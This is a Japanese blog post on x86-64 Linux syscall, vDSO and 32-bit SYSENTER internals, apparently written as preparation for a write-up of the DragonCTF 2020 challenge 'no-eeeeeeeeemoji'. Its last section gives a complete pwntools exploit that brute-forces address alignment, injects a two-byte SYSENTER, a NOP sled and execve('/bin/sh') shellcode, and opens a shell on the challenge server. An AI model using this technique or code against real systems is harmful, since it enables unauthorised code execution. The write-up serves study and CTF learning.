newbieからバイナリアンへ

【pwn 40.0】syscall / vDSO Internal ~ with DragonCTF 2020 no-eeeeeeeeemoji

keywords

syscall / vsyscall / vDSO / beginner / two-byte shellcode / DragonCTF 2020

 

 

1: イントロ

いつぞや開催された DragonCTF 2020。pwn問題 no-eeeeeeeeemoji。強豪犇めくCTFにおいて、一番最初から出題されているのに 1solve。ざっくり概要を言ってしまうと、任意長のshellcodeを流せるが、そのうち最初に自由に実行できるのは2byteのみであり、2byteの後続の命令はNOP+直ちにexitする関数で塗りつぶされ、またshortjumpで届く範囲も全て不正な値で塗りつぶされるという状況である。

想定解では、sysenter命令によってごにょごにょする。リアルタイムで考えているときは、2byte+NOPスレッド(0x90)によって実現可能な6万通りの命令を分類して目grepして使えそうなものを考えていた。勿論systenerやsysreturn等も候補に上がっていたのだが、すぐに真切りしてしまった。

CTF後になんでsysenterをもっと考えられなかったのかと回顧してみると、おそらくsysenter/sysreturn等のシステムコールが何をするものなのかをざっくりとしか把握していないからだと結論づいた。自分で知っていると思っていることを実は知らないと真摯に認めることは何ともしんどいものではあるが、2byteでできることとしてsysenterをよく吟味できなかったということはsyscall/vsyscall周りのことを雰囲気でしか理解していないということの証明にほかならない

曖昧さは猫をも殺すらしい。

今後このようなことが起こらないよう、syscall周りの知識を再度調べ直し、体系的に理解し直してみたいと思う。最後に、おさらいした知識を使ってDragonCTFの問題 no-eeeeeeeeeeeemoji を解いていく。

【注】間違いがあったら教えてビンタしてください、そしたら泣きながら警察に電話します。

 

2: syscall

MSR_LSTAR

まずは64bitにおける通常のシスコール呼び出し方法である syscall から見ていく。

Intelの50MB以上のボリュームのあるマニュアルによると、これは以下を行う命令である。

SYSCALL invokes an OS system-call handler at privilege level 0. It does so by loading RIP from the IA32_LSTAR MSR (after saving the address of the instruction following SYSCALL into RCX). (The WRMSR instruction ensures that the IA32_LSTAR MSR always contain a canonical address.) SYSCALL also saves RFLAGS into R11 and then masks RFLAGS using the IA32_FMASK MSR (MSR address C0000084H); specifically, the processor clears in RFLAGS every bit corresponding to a bit that is set in the IA32_FMASK MSR.

IA32_LSTARという名前のMSR(アドレス0xC0000084)が指すアドレスにPCを移す。また、RFLAGSレジスタをR11に退避させ、RFLAGS&IA_32_FMASKというマスク処理を行う。この IA32_LSTAR に格納されているアドレスが64bitシステムコールにおけるエントリポイントということになる。また、呼び出し時のユーザランドのRIPをRCXに退避する。

このMSRは、カーネルブート時に以下の syscall_init() @/arch/x86/kernel/cpu/common.c において初期化される。

void syscall_init(void)
{
	wrmsr(MSR_STAR, 0, (__USER32_CS << 16) | __KERNEL_CS);
	wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);

前者の wrmsr は後述するSYSENTERで利用されるものである。後者の wrmsrlMSR_LSTARentry_SYSCALL_64() のアドレスをセットしている。

このエントリポイントは、/arch/x86/entry/entry_64.S においてアセンブリで実装されている関数である。以下ではその流れを見ていく。

 

entry_SYSCALL_64

以下が entry_SYSCALL_64 の実装である。冗長な部分や通常通らないパスは省略している。なお、以下で参照する全てのコードは commit:169b93899c7dfb93a2b57da8e3505da9b2afcf5c 時点のカーネルを参照している。

ENTRY(entry_SYSCALL_64)
 	UNWIND_HINT_EMPTY
# kernel用(per-CPU)のGSBaseの獲得 ① swapgs
# ユーザランドのスタックポインタの退避 ② movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2) # kernel用にCR3レジスタを切り替える。 ③ SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp # kernelRSPを取得。 ④ movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp # ユーザランドレジスタでstruct pt_regsをスタック上に生成 pushq $__USER_DS /* pt_regs->ss */ # 0x2b pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */ # 先程退避させていおいたRSP pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ # 0x33 pushq %rcx /* pt_regs->ip */ GLOBAL(entry_SYSCALL_64_after_hwframe) pushq %rax /* pt_regs->orig_ax */ # レジスタの保存とヌルクリア(xor) PUSH_AND_CLEAR_REGS rax=$-ENOSYS TRACE_IRQS_OFF /* IRQs are off. */ movq %rax, %rdi movq %rsp, %rsi call do_syscall_64 # 実際の処理 TRACE_IRQS_IRETQ /* we're about to change IF */ # できる限りSYSRETで返りたい。RCX==R11の場合にはそれができる。IntelCPUの場合、RCX!=R11で#GS例外が発生する。こいつが発生すると、レジスタの値がuser-controllableな状態で処理が移ることになり、不味い movq RCX(%rsp), %rcx movq RIP(%rsp), %r11 cmpq %rcx, %r11 /* SYSRET requires RCX == RIP */ jne swapgs_restore_regs_and_return_to_usermode # ⑤ shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx /* If this changed %rcx, it was not canonical */ cmpq %rcx, %r11 jne swapgs_restore_regs_and_return_to_usermode cmpq $__USER_CS, CS(%rsp) /* CS must match SYSRET */ jne swapgs_restore_regs_and_return_to_usermode movq R11(%rsp), %r11 cmpq %r11, EFLAGS(%rsp) /* R11 == RFLAGS */ jne swapgs_restore_regs_and_return_to_usermode # SYSCALLはR11にRFLAGSを退避させる際にRFフラグをクリアするが、他のパスにおいてこれがセットされた場合適切に処理する。 testq $(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11 jnz swapgs_restore_regs_and_return_to_usermode /* nothing to check for RSP */ cmpq $__USER_DS, SS(%rsp) /* SS must match SYSRET */ jne swapgs_restore_regs_and_return_to_usermode # SYSRETで返れる。やったね syscall_return_via_sysret: /* rcx and r11 are already restored (see code above) */ POP_REGS pop_rdi=0 skip_r11rcx=1 # ここまででRSP/RDIを除いて戻し終わっている。 movq %rsp, %rdi movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp UNWIND_HINT_EMPTY pushq RSP-RDI(%rdi) /* RSP */ pushq (%rdi) /* RDI */ # 作業スタックの情報を消去 STACKLEAK_ERASE_NOCLOBBER SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi popq %rdi popq %rsp USERGS_SYSRET64 END(entry_SYSCALL_64)

 

なお、SYSCALLによってユーザランドRSPが保存されることはないため、実際のシスコールハンドラに処理が移る前に保存しておく必要があり、ソフトウェアレベルで責任を負う。RSPはkernelがkernelスタックに退避させることになる。(RIPは呼び出し時にハードウェアレベルでRCXに退避される)。一応言及しておくと、shadow stackが有効になっている場合には、SSPの値が IA32_PL3_SSP MSR に退避される。shadow stackについては以下のエントリを参照。

smallkirby.hatenablog.com

 

上のアセンブリを軽く概観する。まず、SYSCALLの直後に swapgs を行う①。kernelに入った直後は右も左も分からず裸で荒野に投げ出された羊のようなものだから、swapgs によって kernel GS baseGS base を交換することで、一時的なkernel領域での作業領域を復元する。これは、CPUに固有(per-CPU)の領域である。この領域に対して、ユーザランドRSPを退避させる②。その後、CR3レジスタを切り替えて権限を切り替える③。scratch_reg=%rsp となっているのは、CR3レジスタに対して直接的に OR や ADD 等の命令を行うことはハードウェアレベルで不可能なため、他のレジスタを媒介として演算を行う必要があり、その媒介に使用するのがRSPということである。そのために直前でRSPを先に退避させているわけである。CR3を切り替えた後は、作業領域からCPU固有のkernelスタックのアドレスをRSPに取り出して、これで晴れてカーネルランドにおける作業準備が整う。

その後、諸々のレジスタをスタックに詰んで struct pt_regs を生成する④。この構造体はレジスタの集合を表す構造体であり、このあとに呼び出すシスコールの実体に参照渡しすることで返り値を調整したりする。その後、レジスタをクリアして割り込みを禁止した後で do_syscall_64() を呼び出す。この関数については、後述することにする。

do_syscall_64() が呼び終わったら、RCXとRIPの値をRCX/R11に復元する。ここで、ユーザランドに戻るにはIRETとSYSRETの2通りがあり、後者を使うことが望ましい。但し、SYSRETには RCX==RIP という条件と、RCXがcanonical addressであるという条件が有る。後者が満たされていない場合、IntelCPUはGP#例外を発生させる。

cannonical addressとは、アドレス空間に於いて許容されるアドレスのことを指す。Intel x64アーキテクチャの場合には、48bit(LSB)目より上位のビットが全て48bit目と同じアドレスのことを言う。以下のWikipediaの図がわかりやすい。 

f:id:smallkirby:20201124222022p:plain

https://en.wikipedia.org/wiki/X86-64

ユーザランドの上位アドレスが0x7FFFF...になっていたりkernelランドのアドレスが0xFFFFF...になっているのはこのためである。要は48bit目以降が符号拡張されていればcanonicalということである。よって、SYSRETを行う前に、ビットシフト演算等を通してユーザランドの戻りアドレスが符号拡張が為されているかを確認している⑤。

その後、諸々のレジスタを戻してユーザランドに返れば良いように思えるがそうも行かない。SYSRET自体はRSPを退避しないため、ユーザランドカーネルランドのプログラムのどちらかがこれを適切に処理しなくてはいけないのだが、前述したとおりRSPに関してはカーネル側が責任を持つ。ここで、カーネルランドでRSPユーザランドに戻した直後に割り込みが発生した場合、その割り込みをユーザランドのスタックで処理してしまうことになる。これだと不味いため、割り込みが発生しないようにフラグをセットして有ることを確認する⑥。 

これらのチェックにパスした後でようやく諸々のレジスタを復元する。SYSRETはRCXをRIPに、R11をRFLAGSに復元する。直前にswapgsで再びkernel GS baseGS baseを入れ替えて、SYSRETを呼ぶことで無事にユーザランドに戻ることができる。尚、上記のチェックのどれかに引っかかった場合はIRETを呼ぶ遅いパスに移行するのだが、今回はそっちの経路は扱わない。

 

do_syscall_64

do_syscall_64() @/arch/x86/entry/common.c は64bitシスコール呼び出しの本体であり、以下のような実装になっている。

f:id:smallkirby:20201125051103p:plain

do_syscall_64

とりわけ特筆すべきところはない。システムコールの番号が正常な範囲内(394)であれば、システムコールハンドラの関数テーブルから適切なものを呼び出して、その返り値をRAXに入れているだけである。ここで、もしもシスコール番号が不正であった場合の返り値として、前述のentry_SYSCALL_64()において -ENOSYS が格納されている。よって、関数呼び出しが起こらなかった場合にはそのままこの値がエラー番号として返ることになる。

関数テーブルの各々の実装についてはここでは触れない。

以上が SYSCALL を用いた64bitシステムコールの実装であった。

 

 

3: 64bit vDSO

vDSO導入

SYSCALLにおいてはユーザランドのRIPはRCXに退避される。そのため、これらのお世話は呼び出し側が行う必要はない。そのため、glibcシステムコールラッパが行うことは殆どないのだが、のちのvDSOに繋がるため結合部分の実装をほんの軽く概観する。

例えば write() のラッパは以下のようになっている。

f:id:smallkirby:20201124233833p:plain

__libc_write

f:id:smallkirby:20201124233914p:plain

disassemble of __libc_write

単純にRAXに1を入れてSYSCALLを呼び出すだけである。RIPはSYSCALL/SYSRETが勝手に処理してくれるし、RSPカーネルが良しなにしてくれるため、glibc側でやることは何もない。

 

但し、例外が存在する。例えば gettimeofday() を呼び出した際には以下のようになる。

f:id:smallkirby:20201124234919p:plain

when gettimeofday() is called

アドレス0x7FFF27CEf840にジャンプしている。この時のメモリマップは以下のとおり。

f:id:smallkirby:20201124234959p:plain

memory map

先程のアドレスは、vDSOという領域に属していることになる。

結論から言うと、このvDSOという領域は、一部のシステムコールを高速化するためにkernel領域からユーザランドに共有オブジェクトの形でマッピングされている領域である。単なる共有オブジェクトであるから、GDB上で dump memory ./vdso-64.so 0x7FFF27CEF000 0x7FFF27CF000 のようにしてメモリダンプして情報を見てみると、以下のようになる。

f:id:smallkirby:20201124235742p:plain

file of vDSO

f:id:smallkirby:20201124235756p:plain

header of vDSO as ELF

f:id:smallkirby:20201124235815p:plain

symbols of vDSO as ELF

確かにELF形式のファイルとして情報を持っていることが分かる。ここで、先程ジャンプしたアドレス0x7FFF27CEF840のオフセットである0x840周辺は以下のようになっている。

f:id:smallkirby:20201125000134p:plain

objdump around 0x840 of vDSO as ELF

__vdso_gettimeofday@@LINUX_2.6 という関数がドンピシャである。これが gettimeofday() の実体である。そして最大の特徴は、内部でSYSCALLが呼ばれないということである。単純にアセンブリを見るとSYSCALLが有るが、通常このパスは通らず、一度もSYSCALLを呼ばないまま終了する。このように、カーネル空間への切り替えが伴わないため、余計なオーバーヘッドを削ることができ、結果的に高速化を実現することができるのがvDSOである。

全ての関数呼び出しがvDSOを経由するわけではない。vDSOを用いた関数呼び出しを行うのは、先程のvDSOシンボル情報からも分かるとおり、gettimeofday() / clock_gettime() / time() / get_cpu() の4つだけである。其れ以外は先程見たとおり、SYSCALLを呼んでカーネルに入っていく。

 

vDSOのマッピングアドレス

それではこのvDSOはどのようにして初期化され、どうやってカーネル空間からユーザ空間にマップされ、どうやって共有オブジェクトとして機能するのか。本来であれば、vDSOよりも古いシステムである vsyscall について触れるのが先のような気もするが、そんなに根本的な違いはないため64bit vDSOから先に概観してしまう。

まず、vDSOが何処にマップされるか見てみる。

f:id:smallkirby:20201125001622p:plain

map of vDSO and vsyscall

プロセスごとにvDSOがマップされるアドレスは異なることが見て取れる。(vDSOは1ページ分しか無い)。因みに先取りしてしまうと、vsyscallというページはプロセスによらず常に0xFFFFFFFFFF600000から1ページ分マッピングされていることが分かる。vDSOはこのvsyscallページを動的に配置したものであり、vsyscallをセキュリティ的に安全に置き換えたものと考えられる。vDSOはリンク時バイナリイメージをメモリにロードする際にカーネルマッピングする。このプロセスについては後述する。

 

vDSOの初期化

vDSOの初期化もシスコールの初期化と同様にカーネルブート時に init_vdso() @/arch/x86/entry/vdso/vma.c において行われる。

f:id:smallkirby:20201125003421p:plain

init_vdso()

実体は init_vdso_image() である。

f:id:smallkirby:20201125003538p:plain

init_vdso_image()

まぁ最適化のために色々とごちゃごちゃしているが、大したことはしていない。というか、実は init_vdso() を呼び出した時点で、というよりもカーネルをビルドした時点でvDSOイメージ及びその情報はほぼほぼ決まっている。事実、init_vdso()を呼び出した時の vdso_image_64 の値は以下のようになっている。

f:id:smallkirby:20201125010247p:plain

vdso_image_64 when init_vdso() is called

そのサイズ(0x1000)も他の諸々のアドレスも既に格納されている。

ここで、dataメンバの指すアドレス配下のようになっている。

f:id:smallkirby:20201125010528p:plain

raw_data

先頭にある、親の顔より見たELFヘッダ(7F45)からも分かるとおり、このraw_dataこそがvDSOの本体に他ならない。このバイナリイメージは、カーネルが起動する際にわざわざ計算して生成するものではない。カーネルビルド時に /arch/x86/entry/vdso/vdso2c.c がビルドされてできるプログラムによって、/arch/x86/entry/vdso/vdso-image-64.c というファイルが生成され、その中にベタ書きしてある。

f:id:smallkirby:20201125010932p:plain

raw_data

カーネルはこのデータを読み込んでvDSOとして使用するだけである。そんなわけで、init_vdso_image64() は多分何もやってない。知らんけど。関数の前後で値がなんも変わってなかったから、まぁ多分何もやっていない。

 

ここまで、vDSOの初期化を見てきた。初期化と言っても、カーネルビルド時にほぼ全ての情報が生成され、ブート時にはそれらをロードするだけである。

 

 

ユーザ空間へのマッピング

さてさて、こっからが本番。vDSOはバイナリイメージのロード時にカーネルによってユーザ空間にマッピングされる。そのエントリポイントは map_vdso_randomized() @/arch/x86/entry/vdso/vma.c である。(このへん、かなり最適化されていてかなりデバッグめんどい)

f:id:smallkirby:20201125012943p:plain

map_vdso_randomized()

vdso_addr() によって配置アドレスを取得した後、map_vdso()で実際にマッピングしている。先程までのvmmapを見ていれば分かるとおり、vDSOはユーザスタックの真下(上位アドレス)に置かれるvDSO自体がランダマイズされていると言うより、ランダム配置のstackに隣接して置かれることになる。よって、current->mm->start_stackによってユーザスタックのアドレスを入手している。vdso_addr()自体はスタック開始アドレスを基準としてページアラインさせたり終端アドレスを丸めたりと微調整しているだけで、基本的に開始アドレスはスタックアドレスと同じになると考えてよい。因みに、vDSOにおいて必要となるカーネルシンボルのいくつかは vvar という領域としてこれもやはりユーザ空間にRでマッピングされることになる。

map_vdso() は以下の感じ。vvarのマッピングも一緒に行う。

f:id:smallkirby:20201125014228p:plain

map_vdso() 1/2

f:id:smallkirby:20201125014247p:plain

map_vdso() 2/2

セマフォを取得した後、最初に get_unmapped_area() でページを取得する。その後 _install_special_mapping() でvDSOにイメージを書き込む。権限は READ/EXEC/MAYREAD/MAYWRITE/MAYEXECである。write権限はgdb用に確保してあるらしい。ありがたい。その後同様にしてvvarにデータを書き込む。権限は見ての通りで、書き込みと実行は不可である。エラーが発生しなかった場合、最後にcurrent->mm->contextにvDSOとvvarのアドレスを書き込んで終わりである。(余談だが、ptraceの不具合だか何だかで、gdbからvvar領域を読み込むことはできなくなっている。詳しく調べていないのでよく知らんけど)

 

ここまで、64bit空間におけるvDSOのマッピングを見てきた。ユーザスタックに隣接するようにマッピングしていることが分かる。

 

 

 

4: 32bit SYSENTER/SYSEXIT

ああああああああああああああああああああああああああああああああああああああああああああああああ、レポートと実験終わんないよおおおおおおおおおおおおおおおおおおおおおおおおおおおおお。

 

おっと、危ない、取り乱した。気を取り直して。

ここまで、64bitモードにおける2通りのシステムコール呼び出し(SYSCALL/vDSO)を見てきた。続いて、32bitにおけるシスコール呼び出しを見ていく。尚、以降の話は純粋な32bitOSにおける話ではなく64bitOSにおける32bitエミュレーションの話である。これはカーネルビルドコンフィグに於いて IA32_EMULATION を有効にする必要が有る。

f:id:smallkirby:20201125002741p:plain

IA32_EMULATION

32bitモードに於いては、システムコールの呼び出しをSYSENTERで行う。これはおおよそSYSCALLの32bitみたいな感じである。SYSCALLのエントリポイントも同様にして、カーネルのブート時に  syscall_init() によって決定される。

f:id:smallkirby:20201125020306p:plain

init of MSR_IA32_SYSENTER_EIP

SYSENTERは実行時に MSR_IA32_SYSENTER_EIP MSRの値をEIPにロードする。ブート時にこのMSRの値を entry_SYSENTER_compat() に設定しているため、64bitOSにおけるSYSENTERのエントリポイントはこの関数になる。entry_SYSENTER_compat/arch/x86/entry/entry_64_compat.Sアセンブリで実装されている。実装はSYSCALLのエントリポイントとほぼ同じであるため掲載しない。

 

 

ここで重要なこととして、SYSCALLでは呼び出し時にRIPがRCXに退避されていたが、SYSENTERではEIPは何処にも退避されない

もう一回言っとこ。SYSCALLでは呼び出し時にRIPがRCXに退避されていたが、SYSENTERではEIPは何処にも退避されない

あと一回。SYSCALLでは呼び出し時にRIPがRCXに退避されていたが、SYSENTERではEIPは何処にも退避されない

 

 

しかも、同様にユーザランドEFLAGSも退避されることはない。ESPは実行前にユーザプログラム側でEBPに退避させる必要が有る。こいつは、まじで何もしてくれない。ニートシステムコールだ。これらのレジスタの値は、呼び出し側で退避させておく必要が有る。これらも同様にしてlibc並びにvDSOが処理してくれるのだが、これは大事なことなので後述する。

SYSENTERと対となる命令はSYSEXITであり、これはECXに入っている値をEIPにロードしてユーザランドに返す命令である。

 

 

...........??????????????????????????

 

 

 

先程言ったとおり、SYSENTERの呼び出し時にECXに戻りアドレスが入っているようなことはない。以下のcalling conventionが示すように、ECXには単に第2引数が入っている。

f:id:smallkirby:20201125021320p:plain

calling convention of SYSENTER

それでは、いつのまにこのECX に戻りアドレスが代入されたのか。そもそも戻りアドレスはどうやって計算したのか。

これは、entry_SYSENTER_compat() 内では行われず、そこで呼び出される do_fast_syscall_32() において行われる。

f:id:smallkirby:20201125022021p:plain

do_fast_syscall_32 1/2

f:id:smallkirby:20201125022038p:plain

do_fast_syscall_32 2/2

第1行目の landing_pad が大切である。ユーザプロセスのvDSOアドレス+ vdso_image_32.sym_int80_landing_pad を計算して landing_pad と名付けている。この時、vdso_image_32.sym_int80_landing_pad の値は以下のようになっている。

f:id:smallkirby:20201125022431p:plain

int80_landing_pad

0x939。これで計算した landing_pad をスタックに積んである pt_regs のEIPに該当する部分に書き込んでいる。これによって、entry_SYSENTER_compat() に処理が戻って諸々のレジスタをpopしSYSEXITに戻る際にこのアドレスがEIPに入ることになり、ユーザランドのこのアドレスに戻ることになる。続くdo_fast_syscall_32()の処理は特に変わったところはなく、普通にシステムコールハンドラを呼び出すだけである。

 

さて、ここまででSYSENTERの戻りアドレスはレジスタの値に全く関係なく vDSO + 0x939 == landing_pad に戻ることが分かった。ではこの値が何を意味しているのか。これは32bit vDSOの仕組みを見ると分かるため、次はvDSOを見ていくことにする。

 

5: 32bit vDSO / __kernel_vsyscall

32bitでのvDSOの利用

32bitエミュにおいてもやはりvDSOを使用する。以下の図のようにvDSOはマッピングされていることが分かる。(32bit且つstaticリンクなのでvmmapがこじんまりとしていて可愛いですね... 癒やされます...)

f:id:smallkirby:20201125024022p:plain

vmmap 32bit

やはりstack->vdso->vvarの順にマッピングされている。さてさて、このvDSOイメージにおいて、先程見た+0x939というオフセットにはなにがあるのだろうか。

f:id:smallkirby:20201125024146p:plain

around 0x939 of vDSO 32bit

__kernel_vsyscall() という関数の INT 0x80 命令の1個後のアドレスを指していて、そのINT 0x80の1個前にはSYSENTERがある

 

試しに、32bitプログラムで write() を行ってみると、glibc内のwrite()からすぐにこの__kernel_vsyscall()に飛んだ。 上のアセンブラでは、ESPをEBPに移している。これは、SYSENTERのABIに合わせるためである。また、揮発性のECX/EDX及びESPが入るEBPをスタックに退避させている。

そうしてSYSENTERに入ったあとは、先程説明したようなパスを辿り、vDSO+0x939というアドレスにSYSEXITすることになる。これは、ユーザプロセスがどこでSYSENTERを呼んだかに関係なく固定のアドレスなのであった。この+0x939は、退避させたレジスタをPOPする。

何故SYSENTERの直後の命令に戻らないかと言うと、32bit環境においてはINT 0x80でシスコールを呼び出すことも可能でありどちらの選択の余地も有るため、SYSENTERをした場合もINT 0x80をしたのと変わらないような見かけにするためだという。

なお、64bit環境においてvDSOを利用する gettimeofday() 等は32bitにおいてもvDSOを利用するが、__kernel_vsyscall() は介さずにすぐにvDSO中の対応するハンドラに飛ぶことになる。

 

さてさて、ここまで32bitにおけるvDSOを見てきた。64bitと異なり、特定の4つの関数以外もvDSO(__kernel_vsyscall)を利用し、戻りアドレスはカーネル内で決められたvDSO中の固定アドレスになる。

 

 

湧き上がる疑問

重要なこと、SYSENTERからの戻りアドレスは固定アドレス(厳密にはvDSO+固定オフセット)である

そしてもう一つ重要なこと、これが上手く働くにはSYSENTER前後の処理を適切に行う必要が有る。このお世話係はvDSO中の __kernel_vsyscall() が行ってくれる。逆に言うと、SYSENTERを介したシスコールは、__kernel_vsyscall()から呼び出すことしか想定されていない。

 

おっと????それでは、64bit環境において、不正にSYSENTERを呼び出したらどうなるのであろうか????

 

 

それでは no-eeeeeeeeeeeeeeeemoji を解いていくことにする。

 

 

 

 

6: no-eeeeeeeeemoji from DragonCTF 2020

ここまで32bit/64bitにおけるシステムコールを概観してきた。やっと、DragonCTFの問題 no-eeeeeeeeeeemojiを解くことができる。1solve問題である。やばたにえん。

静的解析/ 問題概要

./main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=04de054da4e374f485c3d10b147634b527f62cd7, for GNU/Linux 3.2.0, stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Ubuntu 18.04 from docker-hub

 

乱数によって決められるアドレスに対して1ページ分だけmmapし、そこに任意長のシェルコードを注入することができる。但し、注入したシェルコードの内、2byteを残して下位部分は不正な値(0x41)によって塗りつぶされ、上位部分はNOPスレッド+直ちにexit()するコードで塗りつぶされてしまう。結果として一番最初に自由に実行できるコードは2byteのみである。メモリレイアウトは以下のようになる。

f:id:smallkirby:20201125031921p:plain

memory layout

ものすごく細かくて見づらいが、図の緑色の部分だけ任意のコードを注入でき、其れ以外は不正な値orすぐ死ぬ関数で塗りつぶされている。図のmmap+200のアドレスから実行が開始される。尚、mmap()されるアドレスはシード無しのrand()によって、0x1000から0x1000000の間に1ページ分だけ取られる。mmap()は何度でもやり直すことが可能なため、この間のページアラインされた領域ならば任意のアドレスに取得できると考えてよい。また、接続時にプロセスマップが与えられるため諸々のリークの必要はない。

 

リアルタイムでどう考えたか

これをCTF中に考えたときは、自由に注入できる2byteと、その後ろに続いているNOPスレッド(0x90...)をつなげて使うのではないかと考えた。よって、任意の2byte+0x909090909090...によって生成することのできる命令およそ6万通りの命令を分類し、目grepして使えそうな命令がないか試した。その中には勿論SYSENTERもあった。だが、最初に言ったようにあまりこの命令自体を深く考えたことがないためすぐに候補から外してしまった。結局色々試した結果使えそうなものが見つからず、最終的に2byteでどうこうする以外に見逃していることが有るのではないかと考えたまま終わってしまった。

 

 

__kernl_vsyscallを経由せずにSYSENTERするとどうなるか

この疑問に対する結論から先に言ってしまう。そして、この一言でこの問題は解けたも同然になる。

 

64bitモードにおいてSYSENTERを呼び出した時、戻りアドレスはユーザプロセスvDSOのアドレスに固定のオフセットを加えたアドレスの下32bitになる。 

 

ここでいう固定のオフセットとは、先程見た vdso_image_32.sym_int80_landing_pad、つまりvDSOにおける__kernel_vsyscall()内のINT 0x80までのオフセットである。

すなわち、それが64bitモードで呼び出されていようといなかろうと、vDSOから呼び出されていようといなかろうと、正規の手順(レジスタの退避・復元)がSYSENTER前後にあろうとなかろうと、そのvDSOのアドレスが32bitレンジだろうと64bitレンジだろうとおかまいなしに、決まったアドレスに戻ってしまうことになる。

まじ??????そんなことあっていいの????

 

 

exploitの方針

まず、メモリマップが与えられるためvDSOのアドレスをメモする。このアドレスが、mmap()がそもそもに可能な領域であるかを確認する。今回可能なアドレスは、0x0 ~ 0x1000000である。下32bitがこの範囲外に有る場合はもう一度接続し直してやり直す。(vDSOのアドレスは0x7FF_XXYYY000であるから、8bitのエントロピー)

その後、vDSO+固定オフセットの下32bitがmmap()した範囲に来るように、mmap()を繰り返す。ここでいう固定オフセットは、Ubuntu18.04の場合以下のように0xB49である。

f:id:smallkirby:20201125040949p:plain

offset of return address from SYSENTER

SYSENTERのオペコードは 0F 34 であり2byteで十分であるから、最初に実行できる2byteにSYSENTERを注入する。他の領域にはNOPスレッドを入れておいて、mmap()した一番最後に通常の32bitシェルコードを入れておく。

そうすると、SYSENTERして帰って来る際にvDSO+0xB49の下32bitが戻りアドレスになり、これは先程調整したmmap()のレンジ内であるから、広げておいたNOPスレッドを辿って最後のシェルコードを実行することになる。

はーーーーー、わかってしまえば、めっちゃ単純...

 

 

exploit

割とな数のぶるーとふぉーすしなくちゃいけないので、CTF後の低速サーバに切り替わった後では結構きつい。 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys
import time

FILENAME = "./main"
LIBCNAME = ""

hosts = ("noemoji.hackable.software","localhost","localhost")
ports = (1337,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='i386')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge(ch):
  global c
  c.recvuntil("cow beer\n")
  c.recvline()
  c.sendline(ch)

def horse(data):
  global c
  s = len(data)
  hoge('h')
  c.recvuntil("gib:\n")
  for i in range(s//0x20 + 1):
    try:
      c.send(data[i*0x20: (i+1)*0x20])
    except():
      return

def beer():
  global c
  hoge('b')
  c.recvuntil("@")
  return int(c.recvline().rstrip(), 16)

i = 0
j = 0

def cow():
  global c
  hoge('c')

## exploit ###########################################

def exploit():
  global c
  global i,j
  sym_int80_landing_pad = 0xb49

  # get vDSO addr
  c.recvuntil("[vvar]")
  c.recvline()
  vdso = int(c.recvuntil("-")[:-1], 16)
  print("[{}] vdso: ".format(hex(i))+hex(vdso))

  # check vDSO's 32bit is in range of mmap(0x0~0x1000000) [8bit entropy]
  # むぅ、なんかtarget>=0x400000だとうまくいかん気がするんだが
  #if(vdso & 0xFF000000 != 0):
  if(((vdso & (2**32 - 1))>>12) >= 0x300):
    return False
  target = vdso & (2**32 - 1)
  print("[!] YEAH. I can target: "+hex(target))

  # mmap until (vDSO+0xB49)&32bit is mapped [12bit entropy]
  j = 0
  while True:
    mmapaddr = beer()
    print("[{}] mmap: ".format(hex(j))+hex(mmapaddr))
    j += 1
    if mmapaddr == target:
      break

  # inject shellcode
  print("[!] injecting shellcode and SYSENTERing...")
  shellcode = b""
  shellcode += asm('mov esp, {}'.format(hex(mmapaddr + 0x200)))
  shellcode += asm('xor eax, eax')
  shellcode += asm('push 0x0068732f')
  shellcode += asm('push 0x6e69622f')
  shellcode += asm('mov ebx, esp')
  shellcode += asm('mov ecx, eax')
  shellcode += asm('mov edx, eax')
  shellcode += asm('mov al, 0xb')
  shellcode += asm('int 0x80')
  shellcode += asm('xor eax, eax')
  shellcode += asm('inc eax')
  shellcode += asm('int 0x80')
  pay = b""
  pay += p8(0x90) * 0x200
  pay += p8(0x0F) + p8(0x34) # SYSENTER
  pay += p8(0x90) * (0xe00 - len(pay))
  pay += shellcode
  pay += p8(0x90) * (0x1000 - len(pay))
  raw_input("ENTER TO PWN")
  horse(pay)

  return True



## main ##############################################

if __name__ == "__main__":
    global c
    global i
    start_time = time.time()

    
    while True:
      if len(sys.argv)>1:
        if sys.argv[1][0]=="d":
          cmd = """
            set follow-fork-mode parent
          """
          c = gdb.debug(FILENAME,cmd)
        elif sys.argv[1][0]=="r":
          c = remote(rhp1["host"],rhp1["port"])
        elif sys.argv[1][0]=="v":
          c = remote(rhp3["host"],rhp3["port"])
      else:
          c = remote(rhp2['host'],rhp2['port'])

      result = exploit()
      if result == False:
        c.close()
        i += 1
        continue

      break
    print("[!] Success pwning:")
    print("[+]   try of vSDO:  "+hex(i))
    print("[+]   try of mmap: "+hex(j))
    print("[+]   total time : " + str(time.time() - start_time) + "s")

    c.interactive()

 

こうすると、SYSENTERの直前がこんな感じで

f:id:smallkirby:20201125073850p:plain

SYSENTERするとこうなって

f:id:smallkirby:20201125073911p:plain

以降はNOPスレッドを辿ってシェルコードにたどり着く。シェルコードでは、ESPを有効なアドレス(今回はmmap()したとこの内どっか)に持っていくのを忘れずに。

 

ローカルの結果。

f:id:smallkirby:20201125074153p:plain

flag{らぶしいず}

